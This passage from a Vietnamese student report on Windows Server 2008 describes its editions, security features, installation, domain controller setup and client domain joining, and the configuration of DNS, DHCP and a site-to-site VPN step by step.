  • 26. SVTH: Nguyễn Trọng Sáng Page 25 - Chính sách phân quyền quản trị các ứng dụng và các site rõ ràng 4.2. Ảo hóa Phiên bản 64 bit của Windows Server 2008 được tích hợp sẵn công nghệ ảo hóa hypervisor : - Cho phép máy ảo tương tác trực tiếp với phần cứng máy chủ hiệu quả hơn. - Có khả năng ảo hóa nhiều hệ điều hành khác nhau trên cùng 1 phần cứng máy chủ sẽ làm giảm chi phí, tăng hiệu suất sử dụng phần cứng, tối ưu hóa hạ tầng, nâng cao tính sẵn sàng của máy chủ. - Tiết kiệm chi phí mua sắm bản quyền phần mềm. - Tich hợp và tập trung các ứng dụng phục vụ cho việc truy cập từ xa một cách dễ dàng bằng cách sử dụng Terminal Services. 4.3. Bảo mật Các tính năng an ninh bao gồm: Network Access Protection, Read-Only Domain Controller, BitLocker, Windows Firewall… cung cấp các mức bảo vệ chưa từng có cho hệ thống mạng, dữ liệu và công việc của tổ chức. 4.4. Network Access Protection (NAP) - NAP dùng để thiết lập chính sách mạng đối với các máy trạm khi máy trạm đó muốn kết nối váo hệ thống mạng của tổ chức. Yêu cầu an ninh đối với máy trạm được kết nối với hệ thống mạng: - Đã cài đặt phầm mềm diệt virus. - Đã cập nhật phiên bản mới. - Đã cài đặt các bản và lỗi hệ thống hoặc đã cài đặt phần mềm firewall. 4.5. Read-Only Domain Controller (RODC) Là một kiểu Domain Controller (DC). - RODC chứa một bản sao các dữ liệu "chỉ đọc" của dữ liệu Active Directory (AD). - User không thẻ ghi trực tiếp vào RODC.
  • 27. SVTH: Nguyễn Trọng Sáng Page 26 - RODC không chứa thông tin về mật khẩu trong AD, mà chỉ caching các users được phép sử dụng ở đó.  RODC thích hợp cho việc triển khai ở các chi nhánh, nơi có điều kiện bảo mật kém cũng như trình độ của nhân viên IT còn hạn chế. 4.6. BitLocker - Bảo vệ an toàn cho máy chủ, máy trạm, máy tính di động. - Mã hóa nội dung của ổ đĩa nhằm ngăn cản - Nâng cao khả năng bảo vệ dữ liệu: kết hợp chức năng mã hóa tập tin hệ thống và kiểm tra tinh toàn vẹn của các thành phần khi boot. - Toàn bộ tập tin hệ thống được mã hóa, gồm cả file swap và file hibernation. 4.7. Windows Firewall - Ngăn chặn các lưu lượng mạng theo cấu hình và các ứng dụng dạng chạy để bảo vệ mạng khỏi các chương trình và người dùng nguy hiểm. - Hỗ trợ ngăn chặn các thông tin vào và ra. - Sử dụng MMC snap-in ( Windows Firewall with Adbanced Security) để đơn giản hóa việc cấu hình, quản trị. 5. CÁC PHIÊN BẢN CỦA WINDOWS SERVER 2008 5.1. Windows Server 2008 Ứng dụng cho các trung tâm data lớn, ứng dụng nghiệp vụ riêng,... khả năng mở rộng cao cho tới 64 bộ xử lý. 5.2. Windows Server 2008 Standard Edition Windows Server 2008 Standard là một trong những phiên bản ít tốn kém nhất của các phiên bản khác nhau có sẵn. Windows Server 2008 Stardard hỗ trợ tới 4GB RAM và 4 bộ vi xử lý. Chủ yếu nhắm mục tiêu và các doanh nghiệp vừa và nhỏ. Chỉ có thể nâng cấp lên Windows Server 2008 Standard từ Windows 2000 Server và Windows Server 2003 Standard Edition.
  • 28. SVTH: Nguyễn Trọng Sáng Page 27 5.3. Windows Server 2008 Enterprise Edition Windows Server 2008 Enterprise Edition cung cấp chức năng lớn hơn và có khả năng mở rộng hơn so với bản tiêu chuẩn. Cũng như phiên bản Standard Edition thì phiên bản Enterprise cũng có cả hai phiên bản 32-bit và 64-bit. Hỗ trợ 8 bộ xử lý và lên tới 64GB bộ nhớ RAM trên hệ thống 32-bit và 2TB RAM trên hệ thống 64- bit. Các tính năng khác của ấn bản Doanh nghiệp bao gồm hỗ trợ Clustering đến 8 nút và Active Directory Federated Services (AD FS). Các phiên bản Windows Server 2000, Windows 2000 Advanced Server, Windows Server 2003 Standard Edition và Windows Server 2003 Enterprise Edition đều có thể được nâng cấp lên Windows Server 2008 Enterprise Edition. 5.4. Windows Server 2008 Datacenter Edition Phiên bản Datacenter đại diện cuối cùng của loạt sản phẩm máy chủ Windows 2008 và mục tiêu là nhiệm vụ quan trọng đòi hỏi các doanh nghiệp ổn định và mức độ thời gian hoạt động cao. Windows Server 2008 phiên bản Datacenter là liên hệ chặt chẽ với các phần cứng cơ bản thông qua việc thực hiện tùy chỉnh Hardware Abstraction Layer (HAL). Windows server 2008 Datacenter cũng hỗ trợ hai phiên bản 32 bit và 64 bit. Nó hỗ trợ 64GB bộ nhớ RAM trên nền 32 bit và lên tới 2TB RAM trên nền 64 bít. Ngoài ra phiên bản này còn hỗ trợ tối thiểu là 8 bộ vi xử lý và tối đa là 64. Để nâng cấp lên phiên bản này thì phải là các phiên bản Datacenter 2000 và 2003. 5.5. Windows Web Server 2008 Windows Web Server 2008 là một phiên bản của Windows Server 2008 được thiết kế chủ yếu cho mục đích cung cấp các dịch vụ web. Nó bao gồm Internet Information Services (IIS) 7,0 cùng với các dịch vụ liên quan như Simple Mail Transfer Protocol (SMTP) và Telnet. Nó cũng có các phiên bản 32-bit và 64-bit,
  • 29. SVTH: Nguyễn Trọng Sáng Page 28 phiên bản và hỗ trợ lên đến 4 bộ vi xử lý. RAM được giới hạn 4GB và 32GB trên 32-bit và 64-bit hệ thống tương ứng. Windows Web Server 2008 thiếu nhiều tính năng hiện diện trong các phiên bản khác như phân nhóm,mã hóa ổ đĩa BitLocker, Multi I/O,Windows Internet Naming Service (WINS),Removable Storage Management và SAN Management. 6. CÀI ĐẶT WINDOWS SERVER 2008 6.1. Yêu cầu phần cứng Phần cứng Yêu cầu tối thiểu Đề nghị Bộ vi xử lý 1 Ghz (x86), 1,4 Ghz (x64) 2Ghz hoặc lớn hơn RAM 512MB RAM 2GB Dung lượng trống 15GB 40GB Windows Server 2008 hỗ trợ cả 2 cấu trúc vi xử lý 32-bit và 64-bit. Tuy nhiên, phiên bản mới nhất là Windows Server 2008 R2, Windows Midmarket Server và Windows Small Business với những tính năng đa dịch vụ, các phiên bản này chỉ hỗ trợ cấu trúc vi xử lý 64-bit. RAM hỗ trợ tối đa cho hệ thống 32-bit là 4GB khi chạy phiên bản Standard Edition và 64GB khi chạy phiên bản Enterprise và Datacenter. Nếu chạy hệ thống 64-bit, bộ nhớ RAM có thể hỗ trợ lên dến 32GB và 2TB RAM cho phiên bản Enterprise và Datacenter. Thêm vào đó, Windows Server 2008 hỗ trợ hệ thống Itanium, tuy nhiên chip xử lí Intel Itanium 2 nhân là cần thiết. 6.2. Các cách cài đặt Có 6 cách cài đặt Windows Server 2008  Tự cài đặt các nâng cấp  Cài đặt từ kịch bản  Sử dụng Sconfig  Visual Core Configurator 2008  Cài đặt bằng cách sử dụng Core Configurator 2.0
  • 30. SVTH: Nguyễn Trọng Sáng Page 29  Cài đặt trực tiếp từ đĩa CD Windows Server 2008 7. NÂNG CẤP LÊN WINDOWS SERVER 2008 Để nâng cấp lên phiên bản Windows Server 2008, cần phải chạy các hệ điều hành ở cấp độ server. Không thể nâng cấp các phiên bản Windows dành cho người dùng như Windows XP hoặc Windows Vista lên Windows Server 2008. Để nâng cấp lên Windows Server 2008, hệ thống của bạn phải chạy Windows Server 2003. Việc nâng cấp từ Windows NT 4.0 và Windows 2000 Server không được hỗ trợ. Việc nâng cấp từ những phiên bản Windows Server 2003 lên phiên bản Windows Server 2008 Server Core không được hỗ trợ. Việc nâng cấp chỉ thực hiện được ở những phiên bản giống nhau. Khi nâng cấp lên phiên bản Windows Server 2008, mọi cấu hình thiết lập, file và các chương trình đều được giữ lại Những phiên bản trước Nâng cấp lên Windows Server 2008 Microsoft Windows Server 2003 R2 Standard, Enterprise hoặc DatacenterEdition Hỗ trợ đầy đủ Microsoft Windows Server 2003 Service Pack 1(SP1) Standard, Enterprise hoặc Datacenter Edition Hỗ trợ đầy đủ Microsoft Windows Server 2003 Service Pack 2 (SP2) Standard, Enterprise hoặc Datacenter Edition Hỗ trợ đầy đủ Windows NT 4.0 Không hỗ trợ Windows 2000 Server Không hỗ trợ Windows XP Không hỗ trợ Windows Vista Không hỗ trợ Windows 7 Không hỗ trợ
  • 31. SVTH: Nguyễn Trọng Sáng Page 30 8. QUÁ TRÌNH CÀI ĐẶT WINDOWS SERVER 2008 Đặt đĩa CD vào ổ đĩa, khởi động lại máy tính và bắt đầu tiến hành quá trình cài đặt. Language to instalk : ngôn ngữ bạn muốn hiển thị. Time and currency format : định dạng thời gian và tiền tệ. Keyboard or input method : định dạng bàn phím và phương thức nhập chữ.Sau khi lựa chọn, click Next để tiếp tục cài đặt
  • 32. SVTH: Nguyễn Trọng Sáng Page 31 Click Install now để bắt đầu cài đặt. Lựa chọn phiên bản Windows Server thích hợp, ở đây chúng ta chọn phiên bản Windows Server Standard without Hyper-V. Click Next để tiếp tục.
  • 33. SVTH: Nguyễn Trọng Sáng Page 32 Tại bảng MICROSOFT PRE-RELEASE SOFTWARE LICENSE TERMS là những điều khoản sử dụng sản phẩm của Microsoft. Đánh dấu chọn vào I accept the license terms để chấp nhận những điều khoản đó và click Next để tiếp tục.
  • 34. SVTH: Nguyễn Trọng Sáng Page 33 Chọn Custom (advaneced) để tiến hành cài đặt tùy chọn. Tiếp theo là chọn ổ đĩa để cài dặt Windows. Tiếp tục click Next sau khi đã chọn ổ đĩa cài đặt.
  • 35. SVTH: Nguyễn Trọng Sáng Page 34 Đợi cho đến khi hoàn tất cài đặt Windows Server 2008 Sau khi hệ thống hoàn tất cái đặt sẽ tự động đăng nhập vời tài khoản Administrator, tuy nhiên mật khẩu đang ở trạng thái trống (blank) vì thế cần phải thiết lập mật khẩu ở lần đăng nhập đầu tiên. Click OK để tiến hành thay đổi mật khẩu.Sau đó đăng nhập vào bằng mật khẩu vừa thay đổi. Đến đây quá trình cài đặt kết thúc.
  • 36. SVTH: Nguyễn Trọng Sáng Page 35 CHƯƠNG 4: DOMAIN 1. CÀI ĐẶT DOMAIN Trên Windows Server 2008 ta vẫn cần chạy lệnh dcpromo từ nhắc lệnh Run, tuy nhiên cần phải cài đặt Active Directory Domain Controller role, đầu tiên bạn cài đặt role, sau đó chạy dcpromo.Vào Server ManagerRolesAdd Roles Xuất hiện trang Before You Begin, nhấn Next để tiếp tục.
  • 37. SVTH: Nguyễn Trọng Sáng Page 36 Chọn Active Directory Domain ServicesAdd Required Features để cài đặt thêm các tính năng này với Active Directory Server Role. Sau khi chọn Active Directory DC Server Role, bạn sẽ thấy các thông tin về Server Role. Kích Install để cài đặt các file yêu cầu nhằm chạy dcpromo
  • 38. SVTH: Nguyễn Trọng Sáng Page 37 Cài đặt được thực hiện thành công. Kích Close. Trong bài này, chúng ta sẽ sử dụng 2 máy.
  • 39. SVTH: Nguyễn Trọng Sáng Page 38 PC1: Là máy sử dụng Windows Server 2008. PC2: Là máy sử dụng Client sử dụng Windows 7. Quá trình cài đặt sẽ trải qua 2 bước chính: Bước 1: Chỉnh Preferred DNS - Ở bước này chúng ta sẽ chỉnh Preferred DNS về chính máy tính của chúng ta, ở đây là ip 192.168.1.1. Trong trường hợp giả sử chúng ta quên làm bước này, thì quá trình nâng cấp vẫn diễn ra bình thường, và Windows sẽ tự chỉnh Preferred DNS về địa chỉ 192.168.1.1 Nhưng tốt nhất các bạn nên làm bước chỉnh này Bước 2: Nâng cấp lên Domain Controller - Bạn vào Start-> Chọn Run, gõ dcpromo và Enter, sau đó lần lượt làm theo các bước sau:
  • 40. SVTH: Nguyễn Trọng Sáng Page 39 Tiếp nào. Thao tác này sẽ khởi chạy Welcome to the Active Directory Domain Service Installation Wizard. Kích Next. Sau đó tiếp tục nhấn Next. Trong trang Choose a Deployment Configuration Create a new domain in a new forest..
  • 41. SVTH: Nguyễn Trọng Sáng Page 40 Trong trang Name the Forest Root Domain, nhập vào tên của miền trong hộp nhập liệu FQDN of the forest room domain.Nhấn Next để tiếp tục. Nhấn Next để tiếp tục.
  • 42. SVTH: Nguyễn Trọng Sáng Page 41 Trong trang Set Forest Functional Level, chọn Windows Server 2008. Nhấn Next để tiếp tục. Trong trang Additional Domain Controller Options, Chọn DNS server và kích Next.
  • 43. SVTH: Nguyễn Trọng Sáng Page 42 Một hộp thoại sẽ xuất hiện nói răng không thể tạo đại biểu cho máy chủ DNS này vì không thể tìm thấy vùng xác thực hoặc nó không chạy Windows DNS server. Lý do cho điều này là vì đây là DC đầu tiên trên mạng. Nhấn Next để tiếp tục. Để lại thư mục Database, Log Files và SYSVOL ,kích Next.
  • 44. SVTH: Nguyễn Trọng Sáng Page 43 Trong Directory Service Restore Mode Administrator Password, nhập một mật khẩu mạnh vào các hộp nhập liệu Password và Confirm password. Xác nhận các thông tin trên trang Summary và kích Next.
  • 45. SVTH: Nguyễn Trọng Sáng Page 44 Active Directory sẽ cài đặt. Đặt một dấu kiểm vào hộp chọn Reboot on completion để máy tính sẽ tự động khởi động lại khi cài đặt DC được hoàn tất.
  • 46. SVTH: Nguyễn Trọng Sáng Page 45 2. JOIN DOMAIN Chỉnh ip của máy Windows XP sao cho cùng địa chỉ của lớp mà ta đã gán ở máy Server và DNS trỏ về địa chỉ ip của máy Server. Vào Start click phải computer chọn properties. Chọn Tab Computer Name
  • 47. SVTH: Nguyễn Trọng Sáng Page 46 Click vào Change để mở hộp thoại Computer Name Change. Sau đó click chọn Domain và nhập tên Domain vào khung  Oke
  • 48. SVTH: Nguyễn Trọng Sáng Page 47 Nhập user Administrator và pass. Click OK và máy tính sẽ khởi động lại. Sau khi khởi động là máy đã được join thành công. Vào server để tạo user và sau đó đăng nhập vào máy win xp để kiểm tra.
  • 49. SVTH: Nguyễn Trọng Sáng Page 48 CHƯƠNG 5: TRIỂN KHAI CÁC DỊCH VỤ MẠNG 1. DỊCH VỤ DNS 1.1. Giới thiệu về DNS DNS (Domain Name System) Server là máy chủ được dùng để phân giải domain thành địa chỉ IP và ngược lại. Về cách thức hoạt động, DNS Server lưu trữ một cơ sở dữ liệu bao gồm các bản ghi DNS và dịch vụ lắng nghe các yêu cầu.Khi máy client gửi yêu cầu phân giải đến, DNS Server tiến hành tra cứu trong cơ sở dữ liệu và gửi kết quả tương ứng về máy client. 1.2. Cài đặt DNS Vào Server Manager  Roles Add Roles.Tại bảng Select Server Roles, chọn DNS Server Sau đó nhấn Next để tiếp tục Chọn Instal. Tại bảng Confirm Installation Selections xác nhận việc cài đặt.
  • 50. SVTH: Nguyễn Trọng Sáng Page 49 Chọn Close để hoàn tất cài đặt. 1.3. Cấu hình DNS Đối với DNS Server,thông thường nên xây dựng đồng thời hai hệ thống là DNS Server chính (Primary) và DNS Server dự phòng (Secondary) dùng chung một cơ sở dữ liệu. Với phương pháp này,sẽ hạn chế khả năng dịch vụ DNS bị ngưng khi có sự cố xảy ra trên hệ thống. Vào Start Administrative Tools DNS. Nhấp chuột phải vào Forward Lookup Zones và chọn New Zone.
  • 51. SVTH: Nguyễn Trọng Sáng Page 50 Tại bản Welcome to the New Zone Wizard ,chọn Next
  • 52. SVTH: Nguyễn Trọng Sáng Page 51 Tại bảng Zone Type chọn Primary zone để cấu hình DNS Server chính. Chọn Next. Tại bảng Zone Name gõ tên domain vào, chọn Next Tại bảng New Zone Wizard, để mặc định. Chọn Next. Chọn Next. Tại bảng Completing the New Zone Wizard xem lại thông tin. Sau đó chọn Finish để hoàn tất. Nhấp chuột phải vào ReverseLookup Zones và chọn New Zone.
  • 53. SVTH: Nguyễn Trọng Sáng Page 52 Tại bảng Welcome to the New Zone Wizard chọn Next. Tại bảng Zone Type chọn Primary zone để cấu hình chức năng reverse cho DNS Server chính. Chọn Next.Tại bảng Reverse Lookup Zone Name chọn kiểu IP cần phân giải. Ở đây chọn IPv4.
  • 54. SVTH: Nguyễn Trọng Sáng Page 53 Chọn Next. Điền Network ID và chọn Next. Tại bảng Zone File để mặc định. Chọn Next. Tại bảng Dynamic Update chọn Allow both nonsecure dynamic updates. Chọn Next và xem lại thông tin thiết lập, và sau đó chọn Finish để kết thúc. Bổ sung các bản ghi DNS vào DNS Server Start Administrative Tools DNS. Nhấp chuột phải vào zone và chọn New - Gõ tên host vào mục Name, gõ địa chỉ IP vào mục IP address. Nếu muốn tạo ra một bản ghi DNS phân giải ngược tương ứng thì đánh dấu chọn Create associated pointer (PTR) record.
  • 55. SVTH: Nguyễn Trọng Sáng Page 54 Sau đó chọn Add Host.Xuất hiện thông báo thành công. Kiểm tra
  • 56. SVTH: Nguyễn Trọng Sáng Page 55 2. DỊCH VỤ DHCP 2.1. Giới thiệu về dịch vụ DHCP - Dịch vụ DHCP cho phép chúng ta cấp động các thông số cấu hình mạng cho các máy trạm.(client). - Cơ chế sử dụng các thông số mạng được cấp phát động có ưu điểm hơn so với cơ chế khai báo tĩnh các thông số mạng như: - Khắc phục được tình trạng đụng địa chỉ IP và giảm chi phí quản trị cho hệ thống mạng.Giúp cho các nhà cung cấp dịch vụ (ISP) tiết kiệm được số lượng địa chỉ IP thật (Public IP).Phù hợp cho các máy tính thường xuyên di chuyển qua lại giữa các mạng.Kết hợp với hệ thống mạng không dây (Wireless) cung cấp các điểm Hotspot như: nhà ga, sân bay, trường học… 2.2. Hoạt động của giao thức Giao thức DHCP làm việc theo mô hình client/server.Khi máy client khởi động, máy sẽ gửi broadcast gói tin DHCPDISCOVER, yêu cầu một server phục vụ mình. Gói tin này cũng chứa địa chỉ MAC của máy client.Các máy Server trên mạng khi nhận được gói tin yêu cầu đó, nếu còn khả năng cung cấp địa chỉ IP, đều gửi lại cho máy Client gói tin DHCPOFFER, đề nghị cho thuê một địa chỉ IP trong một khoản thời gian nhất định, kèm theo là một subnet mask và địa chỉ của Server. 2.3. Cài đặt DHCP trên windows server 2008 Vào Server Manger  Roles Add Roles.
  • 57. SVTH: Nguyễn Trọng Sáng Page 56 Nhấn Nexttrong mục Roles chọn “DHCP Server”. Nhấn Next. Trong bảng này giới thiệu về DHCP và các điểm cần lưu ý Things to Note. Tiếp tục nhấn Next. Chọn card mạng sử dụng dịch vụ này ở đây chúng ta chỉ có một card mạng nên tiếp tục nhấn Next nhấn Next. Trong mục “Parent Domain” điền tên domain và điền IP DNS server ở mục “Preferred DNS…” và nhấn Validate để kiểm tra và xác nhận tồn tại và tiếp tục nhấn Next.
  • 58. SVTH: Nguyễn Trọng Sáng Page 57 Tiếp tục nhấn next Tiếp tục nhấn Next.
  • 59. SVTH: Nguyễn Trọng Sáng Page 58 Tiếp tục bấm Next. Trong Bảng Configure DHCPv6 Stateless Mode ta chọn Disable DHCPv6 stateless mode for this server và bấm Next Chọn user có quyền AuthorNext
  • 60. SVTH: Nguyễn Trọng Sáng Page 59 Xác nhận lại thông tin trước khi cài đặt dịch vụ DHCP. Bấm Install để cài đặt - Cài đặt Role hoàn tất, và nhấn Close 2.4. Cấu hình DHCP 2.4.1. Tạo Scop Vào Administrative ToolsDHCP. Nhấn chuột phải vào IPv4 và New Scope. Hộp thoại New Scope hiện ra và Next.
  • 61. SVTH: Nguyễn Trọng Sáng Page 60 Hộp thoại Scope Name vàĐiền tên của scope vào mục Name và nhấn Next Hộp thoại IP Address Range,điền thông số range IP cấp phát và subnet mask Next.
  • 62. SVTH: Nguyễn Trọng Sáng Page 61 Hộp thoại Lease Duration: thời gian thuê địa chỉ IP mặc định là 8 ngày Hộp thoại Configuration DHCP Options yêu cầu chúng ta cấu hình thông số dịch vụ của scope ngay bây giờ hoặc để sau. Ở đây ta chọn No, I will configure these option later và nhấn Next.
  • 63. SVTH: Nguyễn Trọng Sáng Page 62 Bấm Fisnish để kết thúc 2.4.2. Thay đổi options của Scope - Xổ scope cần thao tác và chuột phải scope optionsConfigure Options. - Hộp thoại Scope Options hiện ra, ở trường Available Options là những thuộc tính sẵn sàng màchúng ta có thể thay đổi với những thuộc tính đã stick là những thuộc tính đã được cấu hìnhtrước đó. - Chúng ta sẽ thử cấu hình default gateway lại cho scope này, chọn Router. Router Options hiện ta cho chúng ta thêm xóa và edit với những thuộc tính khác cũng vậy
  • 64. SVTH: Nguyễn Trọng Sáng Page 63 Kiểm tra 3. DỊCH VỤ VPN Giải pháp VPN (Virtual Private Network) được thiết kế cho những tổ chức có xu hướng tăng cường thông tin từ xa vì địa bàn hoạt động rộng (trên toàn quốc hay toàn cầu). Tài nguyên ở trung tâm có thể kết nối đến từ nhiều nguồn nên tiết kiệm được được chi phí và thời gian
  • 65. SVTH: Nguyễn Trọng Sáng Page 64 Một mạng VPN điển hình bao gồm mạng LAN chính tại trụ sở (Văn phòng chính), các mạng LAN khác tại những văn phòng từ xa, các điểm kết nối (như 'Văn phòng' tại gia) hoặc người sử dụng (Nhân viên di động) truy cập đến từ bên ngoài. 3.1. Khái niệm. Mạng riêng ảo hay VPN (Virtual Private Network) là một mạng dành riêng để kết nối các máy tính lại với nhau thông qua mạng Internet công cộng. Những máy tính tham gia mạng riêng ảo sẽ "nhìn thấy nhau" như trong một mạng nội bộ - LAN (Local Area Network). Internet là một môi trường công cộng, việc chia sẻ dữ liệu có tính riêng tư thông qua Internet là cực kỳ nguy hiểm vì những dữ liệu đó có thể dễ dàng bị rò rỉ, bị ăn cắp... Mạng riêng ảo là giao thức trợ giúp việc kết nối các máy tính lại với nhau thông qua một kênh truyền dẫn dữ liệu (tunel) riêng đã được mã hóa. Mạng riêng ảo giúp bảo vệ dữ liệu trong khi chúng được truyền trên Internet vì vậy mạng riêng ảo thường được ứng dụng trong các trường hợp sau: Làm việc từ xa: Truy cập từ xa thông qua Internet vào mạng của công ty để chia sẻ dữ liệu cũng như thực thi các ứng dụng nội bộ. Kết nối nhiều mạng với nhau (Site-to-Site): Nếu công ty có nhiều văn phòng, việc kết nối các mạng lại với nhau thành một mạng thống nhất sẽ đem lại hiệu quả ấn tượng trong việc quản lý & chia sẻ thông tin.
  • 66. SVTH: Nguyễn Trọng Sáng Page 65 Tạo phiên làm việc an toàn: Mạng riêng ảo là giải pháp tốt & với chi phí thấp cho một số công việc đòi hỏi tính bảo mật cao như quản trị máy chủ, website, cơ sở dữ liệu... Nếu thường xuyên làm việc trên Internet & thông tin là tài sản vô giá, bạn nên ứng dụng mạng riêng ảo vào công việc của mình. 3.2. Các loại VPN. Có hai loại phổ biến hiện nay là VPN truy cập từ xa (Remote-Access ) và VPN điểm-nối-điểm (site-to-site) VPN truy cập từ xa còn được gọi là mạng Dial-up riêng ảo (VPDN), là một kết nối người dùng-đến-LAN, thường là nhu cầu của một tổ chức có nhiều nhân viên cần liên hệ với mạng riêng của mình từ rất nhiều địa điểm ở xa. Ví dụ như công ty muốn thiết lập một VPN lớn phải cần đến một nhà cung cấp dịch vụ doanh nghiệp (ESP). ESP này tạo ra một máy chủ truy cập mạng (NAS) và cung cấp cho những người sử dụng từ xa một phần mềm máy khách cho máy tính của họ. Sau đó, người sử dụng có thể gọi một số miễn phí để liên hệ với NAS và dùng phần mềm VPN máy khách để truy cập vào mạng riêng của công ty. Loại VPN này cho phép các kết nối an toàn, có mật mã. Hình minh họa cho thấy kết nối giữa Văn phòng chính và "Văn phòng" tại gia hoặc nhân viên di động là loại VPN truy cập từ xa). VPN điểm-nối-điểm là việc sử dụng mật mã dành cho nhiều người để kết nối nhiều điểm cố định với nhau thông qua một mạng công cộng như Internet. Loại này có thể dựa trên Intranet hoặc Extranet. Loại dựa trên Intranet: Nếu một công ty có vài địa điểm từ xa muốn tham gia vào một mạng riêng duy nhất, họ có thể tạo ra một VPN intranet (VPN nội bộ) để nối LAN với LAN. Loại dựa trên Extranet: Khi một công ty có mối quan hệ mật thiết với một công ty khác (ví dụ như đối tác cung cấp, khách hàng...), họ có thể xây dựng một VPN extranet (VPN mở rộng) kết nối LAN với LAN để nhiều tổ chức khác nhau có thể làm việc trên một môi trường chung.
  • 67. SVTH: Nguyễn Trọng Sáng Page 66 Trong hình minh họa trên, kết nối giữa Văn phòng chính và Văn phòng từ xa là loại VPN Intranet, kết nối giữa Văn phòng chính với Đối tác kinh doanh là VPN Extranet. 3.3. Bảo mật trong VPN Tường lửa (firewall) là rào chắn vững chắc giữa mạng riêng và Internet. Bạn có thể thiết lập các tường lửa để hạn chế số lượng cổng mở, loại gói tin và giao thức được chuyển qua. Một số sản phẩm dùng cho VPN như router 1700 của Cisco có thể nâng cấp để gộp những tính năng của tường lửa bằng cách chạy hệ điều hành Internet Cisco IOS thích hợp. Tốt nhất là hãy cài tường lửa thật tốt trước khi thiết lập VPN. Mật mã truy cập là khi một máy tính mã hóa dữ liệu và gửi nó tới một máy tính khác thì chỉ có máy đó mới giải mã được. Có hai loại là mật mã riêng và mật mã chung. Mật mã riêng (Symmetric-Key Encryption): Mỗi máy tính đều có một mã bí mật để mã hóa gói tin trước khi gửi tới máy tính khác trong mạng. Mã riêng yêu cầu bạn phải biết mình đang liên hệ với những máy tính nào để có thể cài mã lên đó, để máy tính của người nhận có thể giải mã được. Mật mã chung (Public-Key Encryption) kết hợp mã riêng và một mã công cộng. Mã riêng này chỉ có máy của bạn nhận biết, còn mã chung thì do máy của bạn cấp cho bất kỳ máy nào muốn liên hệ (một cách an toàn) với nó. Để giải mã một message, máy tính phải dùng mã chung được máy tính nguồn cung cấp, đồng thời cần đến mã riêng của nó nữa. Có một ứng dụng loại này được dùng rất phổ biến là Pretty Good Privacy (PGP), cho phép bạn mã hóa hầu như bất cứ thứ gì. Giao thức bảo mật giao thức Internet (IPSec) cung cấp những tính năng an ninh cao cấp như các thuật toán mã hóa tốt hơn, quá trình thẩm định quyền đăng nhập toàn diện hơn. IPSec có hai cơ chế mã hóa là Tunnel và Transport. Tunnel mã hóa tiêu đề (header) và kích thước của mỗi gói tin còn Transport chỉ mã hóa kích thước. Chỉ
  • 68. SVTH: Nguyễn Trọng Sáng Page 67 những hệ thống nào hỗ trợ IPSec mới có thể tận dụng được giao thức này. Ngoài ra, tất cả các thiết bị phải sử dụng một mã khóa chung và các tường lửa trên mỗi hệ thống phải có các thiết lập bảo mật giống nhau. IPSec có thể mã hóa dữ liệu giữa nhiều thiết bị khác nhau như router với router, firewall với router, PC với router, PC với máy chủ. Máy chủ AAA là viết tắt của ba chữ Authentication (thẩm định quyền truy cập), Authorization (cho phép) và Accounting (kiểm soát). Các server này được dùng để đảm bảo truy cập an toàn hơn. Khi yêu cầu thiết lập một kết nối được gửi tới từ máy khách, nó sẽ phải qua máy chủ AAA để kiểm tra. Các thông tin về những hoạt động của người sử dụng là hết sức cần thiết để theo dõi vì mục đích an toàn. 3.4. Sản phẩm công nghệ dành cho VPN Tùy vào loại VPN (truy cập từ xa hay điểm-nối-điểm), bạn sẽ cần phải cài đặt những bộ phận hợp thành nào đó để thiết lập mạng riêng ảo. Đó có thể là: - Phần mềm cho desktop của máy khách dành cho người sử dụng từ xa. - Phần cứng cao cấp như bộ xử lý trung tâm VPN hoặc firewall bảo mật PIX. - Server VPN cao cấp dành cho dịch vụ Dial-up. - NAS (máy chủ truy cập mạng) do nhà cung cấp sử dụng để phục vụ người sử dụng từ xa. - Mạng VPN và trung tâm quản lý. Bộ xử lý trung tâm VPN Có nhiều loại máy xử lý VPN của các hãng khác nhau, nhưng sản phẩm của Cisco tỏ ra vượt trội ở một số tính năng. Tích hợp các kỹ thuật mã hóa và thẩm định quyền truy cập cao cấp nhất hiện nay, máy xử lý VPN được thiết kế chuyên biệt cho loại mạng này. Chúng chứa các module xử lý mã hóa SEP, cho phép người sử dụng dễ dàng tăng dung lượng và số lượng gói tin truyền tải. Dòng sản phẩm có các model thích hợp cho các mô hình doanh nghiệp từ nhỏ đến lớn (từ100 cho đến 10.000 điểm kết nối từ xa truy cập cùng lúc).
  • 69. SVTH: Nguyễn Trọng Sáng Page 68 Router dùng cho VPN Thiết bị này cung cấp các tính năng truyền dẫn, bảo mật. Dựa trên hệ điều hành Internet IOS của mình, hãng Cisco phát triển loại router thích hợp cho mọi trường hợp, từ truy cập nhà-tới-văn phòng cho đến nhu cầu của các doanh nghiệp quy mô lớn. Tường lửa PIX của Cisco Firewall trao đổi Internet riêng (Private Internet Exchange) bao gồm một cơ chế dịch địa chỉ mạng rất mạnh, máy chủ proxy, bộ lọc gói tin, các tính năng VPN và chặn truy cập bất hợp pháp. Thay vì dùng IOS, thiết bị này có hệ điều hành với khả năng tổ chức cao, xoay sở được với nhiều giao thức, hoạt động rất mạnh bằng cách tập trung vào IP. 4. VPN SITE TO SITE Chuẩn bị: - 2 windows server 2008 - 2 windows XP +Máy PC 1 windows XP có ip 192.168.1.2. máy này sẻ ping thông với PC 2 là windows server 2008 có địa chỉ ip là 192.168.1.1.
  • 70. SVTH: Nguyễn Trọng Sáng Page 69 +Máy PC 3 windows XP có ip 192.168.2.2 máy này sẻ ping thông với PC 4 là windows server 2008 có địa chỉ ip là 192.168.2.1. Đặt IP cho 4 máy Card Lan Card Cross Server 1 10.0.0.1/24 192.168.1.1/24 Server 2 172.16.1.1/24 192.168.1.2/24 Client 1 10.0.0.2/24 Client 2 172.16.1.2/24 Tạo user saigon trên máy server 1 Tạo user hanoi trên máy server 2 Tiến hành cấu hình trên 2 server Chọn properties ->chọn tab dial – in -> check chọn allow access
  • 71. SVTH: Nguyễn Trọng Sáng Page 70 Trên máy server1 Vào server manager ->add roles
  • 72. SVTH: Nguyễn Trọng Sáng Page 71 Chọn network policy and access services -> next Chọn routing and remote access services -> next Như vậy là đã cài xong giờ đi cấu hình
  • 73. SVTH: Nguyễn Trọng Sáng Page 72 Vào start -> administrative ->routing and remote access Chọn server -> click phải configure
  • 74. SVTH: Nguyễn Trọng Sáng Page 73 Chọn Custom configuration -> next
  • 75. SVTH: Nguyễn Trọng Sáng Page 74 Chọn VPN access + Demand – dial connections + Lan routing -> next Chọn start service
  • 76. SVTH: Nguyễn Trọng Sáng Page 75 Chọn tab Network interface -> click phải chọn new demand-dial interface Nhập interface name : saigon -> next
